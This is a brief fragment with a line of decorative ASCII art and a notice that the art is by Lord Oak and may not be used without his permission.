_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|
All ASCII art is done by Lord Oak and permission is needed from him before using.